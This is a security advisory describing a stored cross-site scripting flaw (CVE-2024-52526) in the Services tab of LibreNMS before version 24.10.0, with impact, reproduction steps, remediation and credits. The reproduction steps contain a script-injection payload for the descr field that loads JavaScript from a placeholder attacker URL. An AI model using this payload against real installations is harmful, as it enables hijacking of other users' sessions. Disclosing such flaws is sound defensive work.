Disclosed vulnerabilities
Fixed: Nov 5, 2024
CVE-2024-52526 Published: Nov 14, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Services” tab of the Device page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the descr parameter when adding a service to a device.

Product

This vulnerability affects LibreNMS versions prior to 24.10.0, specifically in librenms/includes/html/pages/device/services.inc.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Create or edit a device and go to the Services section.

  3. In the Description (descr) field, enter the following payload:

    Descr'"><script/src=//<attacker-url>></script>

  4. Save the service.

  5. Navigate to the Services tab for that device.

  6. Observe that the script hosted at <attacker-url> is loaded and executed in your browser.

Expected result:

The script referenced in the payload (//<attacker-url>) executes in the Services tab, demonstrating arbitrary JavaScript execution in the victim’s session.

Remediation

Fixed in LibreNMS 24.10.0 by sanitizing and HTML-encoding the descr parameter in device/services.inc.php, preventing unsanitized input from being rendered.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-8fh4-942r-jf2g
  2. Fix commit
  3. NVD entry for CVE-2024-52526

Stay connected and never miss a research update!